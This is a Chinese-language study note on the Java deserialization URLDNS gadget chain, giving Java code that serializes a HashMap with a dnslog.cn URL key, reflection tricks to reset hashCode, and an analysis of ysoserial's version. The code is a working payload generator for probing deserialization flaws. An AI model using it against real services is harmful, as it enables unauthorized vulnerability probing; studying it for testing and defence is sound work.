Java反序列化-URLDNS学习
- 前言
- 代码
- 分析
- ysoserial中的利用方式
- 参考文章
前言
在复现漏洞的时候经常使用dnslog来进行测试,当然有一定的局限性,只能在机器出网的时候才可以使用,并且在一些不知道利用链的情况下 使用urldns的利用链来进行打dnslog效果比较好,因为其没有诸多的限制
文章中如果有错误欢迎各位师傅斧正
代码
这里的代码是直接粘贴天下大木头师傅的,后面做学习分析
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class urldns {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://jszzsn.dnslog.cn");
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123);
map.put(url,"2333");
field.set(url,-1);
try {
FileOutputStream outputStream = new FileOutputStream("2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream("2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
分析
在上面这个代码中,漏洞触发是在
objectInputStream.readObject();
我们跟进分析一下
在这里对于传入的key进行了hash运算
如果key不为空则调用hashcode方法
如果hashcode不等于-1就返回
可以看到在初始化的时候就为-1
跟入hashCode
调用了getHostAddress解析域名,从而触发dnslog
这里是使用已经处理好的代码,在我们调试的时候发现,如果直接使用map.put()时也会产生dnslog
因为put方法会默认调用putval
参考
使用反射来修改值
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true); // 变量为 private 修改访问权限
field.set(url,123);
map.put(url,"2333");
field.set(url,-1);
就可以绕过在生成payload时候产生的dnslog的脏数据
ysoserial中的利用方式
可以看到里面貌似没有使用反射的方法
这里需要注意一下这里使用了类SilentURLStreamHandler
继承URLStreamHandler
并且重写了方法
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
这样就不会触发dns请求
被transient修饰的变量无法被序列化,所以最终反序列化读取出来的transient依旧是其初始值,也就是URLStreamHandler。
之后使用Reflections.setFieldValue
修改值,我们跟入看一下
跟入getField
可以看到这里也一样是使用反射的方法修改了hashCode的值为-1 保证可以成功触发dns请求
参考文章